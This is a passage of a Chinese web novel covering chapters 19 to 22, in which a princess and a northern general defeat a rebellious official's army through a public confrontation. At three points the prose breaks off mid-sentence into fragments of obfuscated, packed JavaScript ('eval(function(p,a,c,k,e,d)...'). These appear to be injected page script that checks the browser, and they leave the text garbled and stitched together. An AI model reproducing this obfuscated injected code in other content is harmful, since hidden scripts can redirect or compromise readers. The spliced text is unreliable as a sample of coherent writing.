放眼望去,天高地阔,草长莺飞。与洛安的繁华精致不同,这里有一种粗犷而蓬勃的生命力。 “这就是你守了十年的地方。”明仪轻声说。 “是我们的地方。”燕云徹纠正她,“从今以后,你也是北境的女主人。” 车队没有直接去燕家军大营,而是先到了燕云徹在北境的别院......一座简朴却坚固的庄园,背靠青山,面临草原。 得知侯爷归来,庄园里的老仆们早早等在门口,见到燕云徹,个个激动得老泪纵横。 “侯爷,您可算回来了!” “这位是……”老管家看向明仪。 燕云徹揽过明仪的肩:“这是长公主,我的妻子。” 老仆们慌忙要跪拜,被明仪拦住:“以后这里就是我的家,诸位都是家人,不必多礼。” 老管家抹着眼泪:“侯爷成亲了,老将军在天之灵可以安息了……快,快请进,房间都收拾好了。” 别院不大,但干净整洁。主屋是燕云徹父母当年住过的,陈设简单,却处处透着温馨。墙上挂着一幅北境地图,上面用朱笔标注着各处的防务;书架上多是兵书和地理志;窗前桌上,还摆着一套未下完的棋局。 “这是我父亲生前常自己打谱的地方。”燕云徹抚过棋盘,“他常说,用兵如弈棋,走一步要看十步。” 明仪走到地图前,看着上面密密麻麻的标注:“这些都是你标的?” “大部分是。有些是我父亲,有些是我祖父。”燕云徹指着地图,“燕家三代人,近百年的心血,都在这张图上。” 明仪忽然明白,为什么少帝一定要除掉燕云徹......这样一个根深蒂固的将门世家,这样一个得军心、得民心的统帅,对任何君王都是威胁。 但她更明白,这样的燕云徹,值得她用一生去守护。 当夜,燕云徹的旧部陆续来到别院。 有还在军中的将领,有退役的老兵,有北境各州的官员,甚至还有几个部落的首领。见到燕云徹,有人激动得说不出话,有人直接跪地痛哭。 “侯爷,您不在这一年,朝廷克扣了三次军饷,兄弟们快撑不下去了!” “祁州那边卡着粮草不放,说我们燕家军拥兵自重,要削减补给!” “王珣那狗官,上月还派人来‘巡视’,实际上是想摸清我们的布防!” 燕云徹静静听着,面色越来越沉。 明仪坐在他身边,第一次如此直观地感受到北境局势的严峻......内有权臣掣肘,外有蛮族虎视眈眈,而本该作为后盾的朝廷,却在背后捅刀子。 “诸位。”燕云徹终于开口,声音不大,却让整个厅堂瞬间安静,“我燕云徹回来了。从今天起,北境的天,塌不下来。” 他站起身,走到地图前:“军饷的事,我来解决。粮草的事,我来解决。至于王珣......”他眼中闪过寒光,“我会亲自去会会他。” 一位老将领担忧道:“侯爷,王珣毕竟是朝廷命官,若是动他,恐怕……” “我不动他。”燕云徹淡淡道,“但若他继续克扣军粮,阻碍防务,便是危害边疆安全。按《大蒙律》,边将有权处置危害防务者,先斩后奏。” 众人精神一振。 燕云徹继续道:“不过当前首要之事,是稳定军心,整顿防务。从明日起,我会巡视各营,了解实际情况。长公主也会随行,她是陛下亲封的监国公主,有她在,我们行事更有底气。” 众人看向明仪,目光中有好奇,有审视,也有期待。 明仪起身,向众人微微一礼:“本宫虽久居深宫,但也知边疆将士不易。此次北巡,一为巡视,二为学习。北境防务,关乎国家安危,本宫定当竭尽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而千里之外的紫宸殿中,少帝正对着最新的密报大发雷霆。 “废物!一群废物!”他将密报狠狠摔在地上,“跟了半个月,才发现跟的是空车!明仪和燕云徹早就金蝉脱壳,现在恐怕已经到了北境!” 跪在地上的暗卫瑟瑟发抖:“陛下息怒……长公主车队确实每日都有动静,我们的人一直盯着,没想到他们早就……” “没想到?朕养你们是干什么吃的!”少帝一脚踹翻案几,“现在人呢?人在哪里?” “据……据祁州来报,有一队可疑人马绕过所有关卡,疑似进入了北境。王珣大人已派人拦截,但……” “但什么?” “但那队人马似乎对地形极为熟悉,几次围堵都扑了空。王珣大人判断,可能是燕云徹的旧部接应,现在已经……”暗卫不敢再说下去。 少帝脸色铁青,在殿中来回踱步。 明仪和燕云徹脱离掌控,进入北境,这对他来说是极大的威胁。北境是燕家的地盘,一旦他们在那里站稳脚跟,再想动他们就难了。 “传旨给王珣。”少帝停下脚步,眼中闪过狠厉,“不惜一切代价,找到燕云徹和明仪。若能生擒最好,若不能......”他咬牙,“就地格杀,以绝后患。” “陛下,那可是长公主……” “那又如何?”少帝冷笑,“北境蛮族猖獗,长公主巡视途中遇袭身亡,不是很合理吗?” 暗卫心中一寒,低头领命:“是。” “还有,”少帝补充道,“派人去北境散布消息,就说燕云徹勾结蛮族,意图谋反。长公主发现端倪,被他囚禁。我们要‘师出有名’。” “臣明白。” 暗卫退下后,少帝走到窗边,望着北方,喃喃自语:“姑母,别怪侄儿心狠。要怪,就怪你嫁错了人,站错了队。” 他不知道的是,此刻的北境,一场风暴正在酝酿。 而这场风暴,最终将席卷整个大蒙王朝。 20. 第二十章 草原之誓 七月的北境草原,正是草色最盛的时节。清晨的阳光洒在无边的绿毯上,草尖上的露珠折射出万千碎金。 燕云徹牵着两匹马来到别院门前。一匹是他的坐骑“追风”,通体乌黑,四蹄雪白;另一匹是昨日那位部落首领送来的枣红马,身姿矫健,鬃毛如焰。 “它叫‘赤霞’,是草原上最好的母马之一,温顺但不失烈性。”燕云徹抚摸着马颈,“那木尔首领说,只有真正的骑手才配得上它。” 明仪换上骑装......一身天青色窄袖胡服,长发束成高马尾,足蹬牛皮短靴,干净利落。她走到赤霞面前,与那双温润的褐色眼睛对视片刻,伸手轻轻抚摸它的脸颊。 赤霞打了个响鼻,主动用头蹭了蹭她的手心。 “它喜欢你。”燕云徹笑道。 “我也喜欢它。”明仪翻身上马,动作流畅自然。赤霞只是轻轻动了动,便稳稳站定。 燕云徹眼中闪过赞赏:“看来公主当年在宫中学的骑术,并未生疏。” “父皇曾说,大蒙皇族生于马背,不可忘本。”明仪握紧缰绳,“每年秋猎,我都会随行。只是……宫中的马场太小,跑不开。” “那今天,就让你跑个够。” 燕云徹翻身上马,两骑并辔,缓缓走出庄园。郑沉带着几名亲卫远远跟在后面,既保护,又不打扰。 起初,明仪还控制着速度,但草原的辽阔很快点燃了她骨子里的豪情。她双腿一夹,赤霞如离弦之箭般冲了出去。 风在耳边呼啸,草原在脚下飞驰。明仪感到一种前所未有的自由......没有宫墙,没有朝服,没有奏折,没有那些需要时刻揣摩的人心。只有天,地,和她。 燕云徹很快追了上来,与她并驾齐驱。他看着她飞扬的发丝和明亮的眼睛,心中涌起难以言喻的满足感。 “我们去那里!”明仪指向前方一处高坡。 两匹马如两道闪电划过草原,惊起草丛中的飞鸟。到达坡顶时,两人同时勒马,俯瞰着眼前壮阔的景象...... 草原如绿色海洋般铺展到天际,远处雪山皑皑,天空蓝得澄澈透明。牛羊如珍珠般散落,毡房升起袅袅炊烟。 “太美了。”明仪轻声感叹,“我在洛安二十年,从未见过如此景象。” “我小时候,常一个人骑马到这里。”燕云徹望着远方,眼神变得深远,“那时父亲还在,他会指着这片草原说:云徹,这是我们燕家世代守护的土地。每一寸草,每一捧土,都浸染着燕家儿郎的血。” 明仪转头看他:“能和我说说燕家的事吗?我想知道。” 燕云徹沉默片刻,缓缓开口:“燕家祖上并非中原人,而是百年前归附大蒙的草原部落首领。太祖皇帝赏识我祖上的勇武,赐姓燕,封镇北侯,世代镇守北境。” “而百年间,燕家为大蒙抵御蛮族南下二十七次,战死沙场的男丁,有记载的就有八十九人。我的曾祖父、祖父、两位伯父、三位堂兄,都死在了这片草原上。” 他的声音平静,但明仪听出了其中的沉重。 “到我父亲这一代,燕家在北境的声望达到顶峰。边境十三部落皆奉燕家为共主,三十万边军只听燕家号令。这既是荣耀,也是祸端。” 燕云徹苦笑:“功高震主,古来皆然。先帝......你的弟弟,继位时只有十六岁,朝中权臣把持朝政,他们害怕燕家势力太大,便开始设计削权。而镇北侯的爵位也已经被分给别人。” “天启十五年,蛮族大举南下。父亲率军迎敌,苦战三月,终于将蛮族主力歼灭在狼山。但那一战,燕家军死伤过半,父亲也身负重伤。” “捷报传回洛安,朝中不仅没有嘉奖,反而弹劾父亲‘穷兵黩武’‘损耗国力’。先帝听信谗言,下旨斥责,并削减北境军饷三成。” 明仪听得心惊:“天启十五年……我记得那一年,北境捷报传来时,朝中确实有大臣说燕家拥兵自重,故意扩大战事以巩固权力。但我当时……” 她顿了顿,声音低了下去:“我当时虽为长公主,但先帝刚继位,太后垂帘,我并无实权。只能暗中命人送些药材到北境,其他的……无能为力。” 燕云徹看着她:“我知道。那些药材救了军中很多伤兵,父亲临终前还说,长公主是宫中难得明白人。” “父亲伤重不治,于元和十六年春去世。他死后,朝中变本加厉......以‘整饬军务’为名,派监军到北境,架空我的兵权;又以‘抚恤功臣’为名,召我两位兄长入京,实则扣为人质。” 他的声音渐渐冰冷:“元和十六年冬,蛮族再次来犯。我率军迎敌,但粮草被监军克扣,援军迟迟不到。那一战,我军死守孤城二十八天,最后只剩三千残兵。” “城破那日,我身中三箭,被亲兵拼死救出。逃亡途中,收到洛安传来的消息......”燕云徹闭上眼睛,再睁开时,眼中是刻骨的痛,“我的两位兄长,在入京途中‘遭遇山匪’,双双殒命。燕家直系男丁,只剩我一人。” 明仪捂住嘴,眼中泛起泪光。她记得那一年......朝中确实有奏报说燕家两位公子遇害,先帝还下旨追封,厚加抚恤。原来真相竟是如此! “所以元和十七年春,你逃到洛安附近,被我救下时……”明仪声音颤抖。 “那是绝望中的一线生机。”燕云徹看着她,“我原本打算潜入洛安,刺杀那些陷害燕家的权臣,然后自尽殉国。但重伤未愈,倒在京郊山林,被你所救。” 他回忆起八年前那个雨夜...... 十七岁的明仪随驾前往皇寺祈福,归途中遇到暴雨,车队在山中避雨。侍卫在山洞中发现奄奄一息的他,本想直接处置,但明仪坚持要救人。 “我记得你当时说:‘此人衣甲虽破,但制式是边军将领。北境将士保家卫国,不可不救。’”燕云徹眼中泛起暖意,“你不仅救了我,还把我藏在你的别院养伤,对外只说救了个江湖游侠。” 明仪轻声道:“我查看过你的伤口,那是军中箭矢造成的。又发现你虽然年轻,但气质不凡,手上老茧是常年握刀骑射留下的。我猜到你的身份不简单,只是没想到……” “没想到是朝廷正在‘通缉’的败军之将?”燕云徹苦笑,“那时先帝已下旨,说我‘临阵脱逃’‘致使北境防线溃败’,要押解回京问罪。我若被发现,必死无疑。” “所以你化名‘燕七’,留在我身边做了暗卫。”明仪终于将一切都串联起来,“而我向先帝请求,说需要一个可靠的护卫,先帝便顺水推舟答应了......他大概以为,把你放在我身边监视着,总比让你流落在外好。” 燕云徹点头:“那三年,是我人生中最黑暗也最温暖的时光。黑暗是因为家破人亡,壮志难酬;温暖是因为……有你。” 他握住明仪的手:“你明知我身份可疑,却从未逼问。你让我教你武艺,实则是在帮我恢复身体。你在朝中为我周旋,让我得以暗中联络旧部。你甚至……冒险帮我传递消息到北境。” 明仪想起那些年,她常常让“燕七”去送一些“无关紧要”的信件或物品到边境城镇。现在想来,那些都是燕云徹与旧部联络的渠道。 “元和十八年,先帝病重,朝局动荡。”燕云徹继续说,“蛮族再次南下,边境告急。朝中无人可用,几位老臣终于想起燕家。你趁机向先帝进言,说应当启用燕家后人,戴罪立功。” “先帝那时已病入膏肓,自知时日无多,这时少帝即位,终于下旨命我返回北境,重整边军。”他叹了口气,“我走的那天,你来送我,只说了一句:‘活着回来。’” “我等了三年。”明仪轻声说,“三年间,北境捷报频传,你的名字一次次出现在战报上。朝中那些曾经诬陷燕家的人,开始害怕了。他们想召回你,但边境离不开你。他们想再陷害你,但你在军中声望日隆,无从下手。” “直到我终于回到了北境,少帝继位。”燕云徹语气转冷,“新帝对燕家的忌惮,比先帝更甚。他一面需要我镇守北境,一面又处处制肘。克扣军饷,安插亲信,分化将领……这些手段,与当年如出一辙。” 明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“三个部落首领传来消息,说王珣的使者许诺,若他们归顺,将来平分北境!” “军中也有传言,说长公主被侯爷软禁,朝廷要发兵来救!” 厅内一片嘈杂,人人面带忧色。 燕云徹走到地图前,众人立刻安静下来。 “王珣有兵五千,我们有多少可用之兵?”他问。 一位将领回答:“别院蒙边能立即调动的,只有一千亲卫。大营主力在两百里外,最快也要三日才能赶到。” “一千对五千……”有人低声道。 “不是一千。”明仪忽然开口。 众人看向她。 “是本宫的一千亲卫,加上北境三十万军民。”明仪走到燕云徹身边,面对众将,“王珣散播谣言,说侯爷挟持本宫。那我们就让所有人看看,本宫是否被挟持。” 她看向燕云徹:“明日,我们一起去军营。我要亲自向将士们说明情况,揭露王珣和少帝的阴谋。” 一位老将担忧:“公主,军营重地,万一有变……” “有侯爷在,不会有变。”明仪语气坚定,“况且,若连面对自己将士的勇气都没有,本宫也不配监国。” 燕云徹眼中闪过骄傲,他对众将道:“按公主说的办。另外,派人联络各部落,告诉他们真相。尤其是那木尔首领,他欠我个人情,该还了。” “是!” 众人领命而去,厅内只剩下燕云徹和明仪。 “怕吗?”燕云徹问。 “怕。”明仪诚实地说,“但怕也要做。这不止是你的战争,也是我的战争......为我自己,为北境,为大蒙的将来。” 燕云徹将她拥入怀中:“我会保护你。” “不。”明仪抬头看他,“我们要互相保护。从今天起,我们是真正的夫妻,也是真正的战友。” 窗外,草原的风越来越急,天际有乌云聚集。 山雨欲来风满楼。 21. 第二十一章 黑风落刃 燕云徹没有让明仪等太久。 当夜,他独自站在地图前,烛火映着他棱角分明的侧脸。明仪推门进来,他正用手指在黑风岭的位置画了一个圈。 “你不睡?”他抬眼。 “你也不睡。”明仪走到他身边,将一杯热茶放入他掌心,“还在想王珣?” 燕云徹没有否认。他握着茶盏,目光落在地图上那一条条蜿蜒的山道。 “五千人,三百里。”他缓缓开口,“王珣敢把兵力从祁州腹地调出来,说明他做好了撕破脸的准备。但他这么做,只有两种可能......要么少帝给了他足够撑腰的承诺,要么他根本没打算活着回去。” 明仪心中一凛:“你是说……” “黑风岭地形险要,易守难攻。”燕云徹指着地图,“他若只是想威慑我,大可驻扎在祁州边境,与我隔空对峙。但他偏偏进入黑风岭......那里三面环山,只有一条峡谷进出,是绝地。” 他顿了顿:“把自己逼入绝地的人,要么是蠢,要么是另有打算。” “什么打算?” 燕云徹沉默片刻,道:“引蛇出洞。” 明仪看着地图上那个小小的标记,忽然明白了。 “他故意把自己放在看似不利的位置,就是想诱你去攻。你若出兵,他便有了借口......‘镇北侯擅自动兵,攻击朝廷命官’;你若不出兵,他便可以光明正大在那里屯兵,切断北境与中原的联系。” 燕云徹点头:“所以这一仗,不在于怎么打,而在于怎么收场。” 他抬头看向明仪:“公主在朝中多年,比我更懂这些。如果是你,你会怎么做?” 明仪沉吟良久,道:“第一,不能让他坐实‘燕家反了’的罪名。所以出兵,必须师出有名。” “第二,不能让他活着回去。不是私怨,是他知道太多。无论是少帝授意他做什么,还是他背着少帝做什么,只有死人才能把这些秘密永远带进土里。” “第三……”她顿了顿,看向燕云徹,“这件事不能让你亲手做。你是镇北侯,是朝廷重臣,你不能落下一个擅杀地方大员的把柄。” 燕云徹凝视着她:“所以?” 明仪深吸一口气:“我去。” “不行。” “你先听我说......”明仪按住他的手,“我不是去上阵杀敌,我只是去站在阵前。王珣的谣言,只有我能亲自戳破;他‘清君侧’的旗号,只有我能亲手折断。我是长公主,是监国公主,是少帝的姑母。只要我站在那里,他的所有借口就都不成立。” 燕云徹眉头紧锁:“太危险。” “云徹。”明仪轻声说,“你说过,那三年是你最黑暗也最温暖的时光。可你不知道,那三年对我来说,何尝不是。” 她看着他的眼睛:“你走后,我每日在宫中周旋,听着朝臣弹劾你的声音,看着那些曾经陷害燕家的人依然高坐庙堂。我什么都做不了,只能等你的战报,等你还活着,等你终于站稳脚跟。” “现在你回来了,我们成婚了,我终于可以站在你身边了。你却要我留在别院,等你凯旋?” 她摇了摇头,眼眶微红:“我做不到。” 燕云徹沉默良久。 他想起十七岁那年在山洞中睁开眼,看见那个少女俯身察看他的伤口,雨水顺着她的额发滴落,她却没有丝毫犹豫。 他想起那三年,她明知他身份可疑,却从不追问。她只会在夜深人静时,把伤药和热汤放在他房门口,然后转身离去。 他想起她送他回北境那天,站在城门口,只说了四个字。她等了三年,等到他终于活着回来。 他从未问过那三年她是怎么熬过来的。他也从未想过,当他以为自己是最孤独、最绝望的人时,她也在另一个牢笼里,守着同样漫长的等待。 “……好。”他终于开口,“但你要答应我一件事。” 明仪抬头。 “明日去军营,你站在阵前,我站在你身后。”燕云徹握住她的手,“你必须在我看得见的地方。” 明仪笑了,眼中有泪光,却灿若星辰。 “好。” 第二日,天色未亮,别院已是一片肃杀。 燕云徹的副将周虎连夜调集了一千亲卫,皆是燕家军中最精锐的百战老兵。他们肃立院中,鸦雀无声,只有战旗被风吹动的猎猎声响。 明仪走出门时,身上已不是昨日那身天青色骑装。 她换了一身正装......朱红色织金长裙,外罩玄色披风,腰间系着长公主的金印绶带,发髻高绾,凤钗在晨光中闪着寒芒。 这是她监国的朝服,是权力的象征,也是身份的证明。 院中将士看见她,齐刷刷跪地:“参见长公主殿下!” 明仪没有叫起。她走到队伍最前方,迎着初升的朝阳,声音平稳而清晰: “诸位可知道,本宫为何在此?” 众人垂首。 “八年前,有人诬陷燕家谋反,燕家男丁几乎死绝。五年前,有人克扣北境军饷,让你们饿着肚子打仗。今日,有人屯兵黑风岭,说侯爷挟持本宫,要清君侧。” 她顿了顿。 “本宫今日去军营,不是去避祸,也不是去观战。本宫是去告诉那些被蒙蔽的将士......长公主没有被挟持,燕家没有谋反。本宫站在这里,就是最好的证明。” 她抬头,目光扫过院中每一张脸: “此去黑风岭,可能会有流矢,可能有刺客,可能有你们护不住我的时刻。本宫不怕。因为本宫知道,你们是燕家军,是百年来从未让北境失守的燕家军。本宫站在你们身后,何惧之有?” 院中静默一瞬。 随即,一千人齐声高呼:“愿为殿下效死!” 声音如山呼海啸,惊起院外林间的飞鸟。 燕云徹站在她身后半步,看着她披着晨光的背影,忽然想起八年前那个雨夜。 那个少女也是这样,俯身看着他,对身后的侍卫说: “此人衣甲虽破,但制式是边军将领。北境将士保家卫国,不可不救。” 八年了。 她从未变过。 辰时,队伍开拔。 一千亲卫护着燕云徹和明仪,沿着草原向黑风岭方向行进。沿途经过几个部落,毡房外有人驻足观望。明仪端坐马上,披风猎猎,凤钗耀目,任谁都能认出那身朱红色的朝服。 “是长公主……” “长公主真的来了,不是被挟持……” “那王珣说的都是假话!” 消息像风一样传遍草原。等他们行至黑风岭三十里外时,已有三个部落的首领带着人马赶来汇合。那木尔首领一马当先,在燕云徹面前勒住缰绳,用生硬的汉语道: “侯爷!那个王珣的使者,我已经绑了送来!” 燕云徹抱拳:“多谢那木尔首领。” 那木尔摆摆手,又看向明仪,翻身下马,郑重行礼:“公主,昨日我说送您一匹马,您收下了。草原人送马,就是把对方当自己人。您是我们自己人了。” 明仪下马,亲手扶起他:“多谢首领。” 那木尔咧嘴笑了,露出一口白牙:“公主,那个王珣说侯爷要造反。我从小在这片草原长大,侯爷的父亲、祖父,我都见过。燕家世代守在这里,没有燕家,草原早就被蛮族踏平了。” 他拍了拍胸脯:“公主信侯爷,我也信侯爷。今日我来,带了一千骑。不够,还有。” 明仪看着他憨厚却坚定的脸,心中涌起一股热流。她忽然明白了燕云徹说过的那句话...... 燕家百年,不是靠兵符、不是靠圣旨,是靠这一张张信任他们的脸,一具具战死在这片土地上的尸骨,一代代坚守不渝的承诺。 这才是燕家真正的根基。 黑风岭。 峡谷入口处,王珣的兵马已列阵完毕。五千人横陈谷口,旌旗蔽日,刀枪如林。 王珣策马立于阵前,身着三品文官的绯色官袍,在这满目刀兵中显得格格不入。他年过四旬,面容清癯,下颌蓄着三缕长须,乍一看是个儒雅文士。 但他看着对面渐渐逼近的燕家军旗号,眼中并无半分惧色。 “大人,燕云徹到了。”副将低声道。 王珣微微颔首,整了整衣冠,竟策马向前迎去。 “燕侯爷!”他在两军阵前勒马,遥遥拱手,声音朗朗,“许久不见,别来无恙?” 燕云徹没有动。明仪策马向前半步,与他并辔而立。 王珣的目光落在明仪身上,瞳孔微微一缩。那身朱红色的朝服,那支在日光下灼灼刺目的凤钗,那张他曾在内廷觐见时远远仰望过的脸...... “长公主殿下……”他的声音有了些微的僵硬,“殿下安好?” 明仪看着他,没有回礼,也没有寒暄。 “王郡守,”她缓缓开口,声音平稳得听不出任何情绪,“你屯兵黑风岭,意欲何为?” 王珣的脊背微微一僵。他本以为会先面对燕云徹的质问,他已准备好无数应对之词......清剿流寇,防备蛮族,奉旨巡查。 但长公主亲自来了。 她不是被挟持的,她穿着朝服,骑着战马,与燕云徹并肩而立。 他所有的借口,在她面前,都不成立。 “臣……”王珣喉结滚动,“臣是奉旨……” “奉谁的旨?”明仪打断他,“陛下登基不足一年,从未下旨命地方官员擅自调兵。本宫是监国公主,朝中大小军务需经本宫副署方可生效。本宫怎不记得有过这道旨意?” 王珣脸色发白。 明仪没有给他喘息的机会:“你说是清剿流寇。黑风岭地处祁州与北境交界,流寇从何处来?你说是防备蛮族。蛮族南下的关口在北境三百里外,你驻兵于此,防的是谁?” 她一字一句,如刀锋落下。 “你派使者联络草原部落,许诺‘平分北境’......北境是大蒙的疆土,何时轮到一个祁州郡守做主?” “你散布谣言,说镇北侯挟持本宫。本宫今日就在你面前,你觉得本宫是被挟持的样子吗?” 王珣额头渗出冷汗。 他张了张嘴,还想说什么,明仪已不再看他。她策马上前两步,面向王珣阵中那五千将士,提高了声音: “北境的将士们!本宫知道,你们当中有的是本地人,世代居住在这片草原;有的是从内地征调来的,背井离乡戍守边疆。无论你们从哪里来,今日站在这里,都是在守护大蒙的疆土。” 她顿了顿。 “但是,你们的刀锋,应该指向北方的蛮族,而不是指向镇北侯,不是指向燕家军!” “燕家镇守北境百年,战死沙场的男丁八十九人。你们的父辈、祖辈,或许就曾是他们麾下的士兵。燕家军克扣过你们的军饷吗?没有!燕家军让你们的兄弟白白送死吗?没有!” 她的声音在峡谷中回荡: “今日王珣带你们来这里,打着‘清君侧’的旗号。可你们睁眼看看......君侧有谁?是本宫!你们要清的,是本宫吗?” 阵中有人动摇了。 刀枪林立中,开始有人低声议论。那面写着“清君侧”的大旗在风中猎猎作响,却再也聚不起方才的锐气。 王珣的脸色从苍白变得铁青。 他猛地回头,看向自己的副将......那是他真正的底牌,是从祁州带来的死士,只听他一人号令。 副将会意,正要挥旗,忽然...... 一阵急促的马蹄声从谷口传来。 众人循声望去,只见一骑快马飞奔而来,马背上的斥候几乎是从马鞍上滚下来的:“报......!大人!祁州急报!” 王珣心头一沉:“说!” “祁州……祁州城被围了!” 王珣愣了一瞬,几乎以为自己听错了。 “谁?谁敢围祁州?” 斥候声音颤抖:“是……是燕家军!燕家军大营主力!他们从北境急行军两昼夜,已抵达祁州城下!围而不攻,只说……只说……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“王郡守,”明仪看着他,目光中没有恨意,也没有轻蔑,只有一种深不见底的平静,“本宫再问你一次:你屯兵黑风岭,意欲何为?” 王珣沉默良久。 风卷过峡谷,吹动他绯色的官袍。他忽然笑了,笑声沙哑而凄凉。 “殿下……臣若说,臣也是身不由己,殿下信吗?” 明仪没有回答。 王珣缓缓抬头,望向北方......那是洛安的方向,是紫宸殿的方向,是那个他效忠的少年皇帝的方向。 “陛下说……燕家不除,北境便不是朝廷的北境。”他的声音很低,像在自言自语,“臣以为,只要为陛下分忧,无论做什么都是忠臣。” 他又笑了笑,笑容里满是苦涩:“可臣现在也不知道,臣做的这些事,陛下究竟知不知道。” 他顿了顿,轻声道:“或者说,陛下究竟想不想知道。” 明仪看着他,忽然有些疲惫。 她想起了少帝那双阴鸷的眼睛,想起他登基后对她说“姑母辛苦了”时那虚假的笑意。她还想起先帝临终前握着她的手,说“阿仪,朕对不起你”。 那个十七岁的少年坐在龙椅上,被权臣推着、牵着、利用着。他杀过不该杀的人,信过不该信的人,也辜负过不该辜负的人。 如今,新的少年坐在那张龙椅上,重复着同样的故事。 “王郡守。”明仪开口,声音里已无方才的凌厉,只剩疲惫的平静,“你输了。本宫给你两条路。” 王珣抬眼。 “第一条路......你让将士们放下兵器,随本宫回洛安。本宫会上书陛下,将你押解回京,由三司会审。你所知之事,在堂上尽可如实道来。陛下是否知情,自有公论。” 王珣沉默。 “第二条路......”明仪顿了顿,“你留在这里。你的五千人,粮草最多撑三日。三日后,你们是战死、饿死、还是投降,与本宫无关。” 她没有再说下去。 王珣望着她,望了很久。 他忽然翻身下马,朝明仪深深一拜。 “臣……选第一条路。” 他直起身,转向自己的阵中,扬声道: “诸军!放下兵器!” 副将大惊:“大人!” 王珣没有看他,只是重复道:“放下兵器。你们……不该为我的野心陪葬。” 刀枪落地的声音连绵不绝。 五千人,就这样放下了兵器。 明仪看着这一幕,却没有胜利的喜悦。 她策马缓缓退后,低声对燕云徹道: “你猜,他回京之后,能活几日?” 燕云徹没有回答。 他们都明白......王珣知道的太多。无论是少帝授意他做的,还是他自作主张做的,那些秘密一旦说出口,便再没有活路。 他选这条路,是把命押在了公堂之上。 可公堂之上,谁又能为他做主? “他活不了。”燕云徹终于开口,“但他选这条路,至少能给少帝提个醒......这世上,不是所有人都会为他的秘密殉葬。” 明仪沉默。 远处,王珣已被郑沉带人押下。那五千降卒正被编队,将分批遣返原籍。一切有条不紊,仿佛这场危机从未发生。 可明仪知道,这只是开始。 黑风岭的风渐渐平息。夕阳将峡谷染成金红,像鲜血浸透的战旗。 燕云徹策马到她身侧,没有说话,只是轻轻握住她的手。 他的手很暖。 明仪反握住他。 “我们回去吧。”她说。 “好。” 两骑马并肩,缓缓驶出峡谷。身后,是渐渐沉寂的黑风岭,和那个即将被押往洛安的绯色身影。 千里之外的紫宸殿中,少帝正对着刚刚送达的军报,脸色铁青。 他的手在颤抖,不知是愤怒,还是恐惧。 “王珣……降了。” 他喃喃重复着这四个字,仿佛它们是从地狱深处传来的咒语。 暗卫跪在地上,不敢抬头。 良久,少帝将军报揉成一团,狠狠掷在地上。 “姑母。”他咬着牙,从齿缝里挤出这两个字。 窗外暮色四合。 紫宸殿的烛火次第亮起,却照不透那张年轻而阴鸷的脸。 22. 第二十二章 岭烟未散 黑风岭的事,像是投入湖心的一颗石子,涟漪散尽后,水面又恢复了平静。 王珣被押解回京那日,明仪站在别院门口,看着那队人马消失在草原尽头。燕云徹不知何时走到她身侧,递给她一件厚厚的氅衣。 “草原风硬,别着凉。” 明仪接过,没有道谢,只是拢了拢衣襟。两人就这样站着,谁也没有说话。 日子就这么一天天过下去。 起初,明仪还有些不习惯。她在宫中待了太多年,习惯了卯时起身、子时方能歇息,习惯了每隔半个时辰便有宫人来报“某某大人求见”“某某奏章需殿下批阅”。可在这北境,没有人来求见她,也没有奏章需要她批阅。 她忽然多出了大把的时间。 第一日,她在院中站了半个时辰,看天空的云从东边飘到西边。第二日,她试着帮厨房择菜,被厨娘诚惶诚恐地请了出去。第三日,她实在闲得发慌,便翻出针线,想给那件氅衣绣个边...... 然后扎破了三根手指。 燕云徹下值回来,就看见她对着氅衣和针线发呆,手指上缠着一条不知从哪儿翻出来的布条,狼狈得像个做错事的孩子。 他脚步顿了顿,险些没忍住笑。 “……公主。”他清了清嗓子,把那点笑意压下去,“需要帮忙吗?” 明仪抬头,面无表情地看着他:“你会?” “不会。”燕云徹诚实道,“但我知道这镇上有个老嬷嬷,当年给我父亲补过战袍。公主若不嫌弃,可以让她教。” 明仪沉默片刻,把那件氅衣往旁边一放:“不必了。本宫只是……闲着无事。” 燕云徹点点头,没再说什么,转身走了。 可第二日,那老嬷嬷便出现在别院门口,说是侯爷请来教公主针线的。明仪站在门内,看着那个满头白发的老妇人,一时不知该作何表情。 她学了三日。 三日里,她绣废了三块帕子,扎破了五根手指,但终于在第四日,在那件氅衣的衣角绣出了一朵歪歪扭扭的小花。 她捧着氅衣端详许久,忽然笑了一下。 那笑意很轻,像风过草原,转瞬即逝。但恰好被进门的燕云徹看在眼里。 他愣了一下,随即移开目光,假装什么都没看见。 后来明仪才知道,那个老嬷嬷年轻时是草原上有名的绣娘,给好几个部落的贵人做过衣裳。她年纪大了,轻易不肯出门,不知燕云徹是怎么把人请来的。 她没问,他也没说。 但自那以后,她总觉得那件氅衣穿着格外暖和。 转眼便是半月。 明仪渐渐习惯了北境的生活。她会在清晨推开窗,看远处草原上雾气升腾;会在午后坐在院中,听风拂过草尖的声音;会在傍晚时分,跟着燕云徹去镇上的集市,看牧民们交换皮毛、盐巴和茶叶。 牧民们起初见了她还拘谨,跪也不是站也不是,满头的汗。明仪也不勉强,只学着燕云徹的样子,蹲下来看他们摆在地上的货物,偶尔问一句“这个怎么卖”“那个是做什么用的”。 问得多了,牧民们渐渐发现这位长公主殿下似乎没有想象中那么可怕。她不懂的就问,问了就记,下次再来时,已经能认出上次见过的羊皮和奶制品。 “殿下,”一个老牧民试探着开口,“您上次说想看看我们用的农具,我给您带来了。” 明仪眼睛亮了。 那是一种草原上常见的犁,木制的,样式简陋,需要两匹马才能拉动。老牧民叹了口气,说这犁用了几十年,翻地太浅,种下的麦子长不好。 明仪蹲下来,仔细看了半晌。 “如果把这个地方加宽一些,犁得更深呢?”她指着犁头的位置。 老牧民摇头:“我们试过,加宽了,马就拉不动了。” 明仪若有所思。 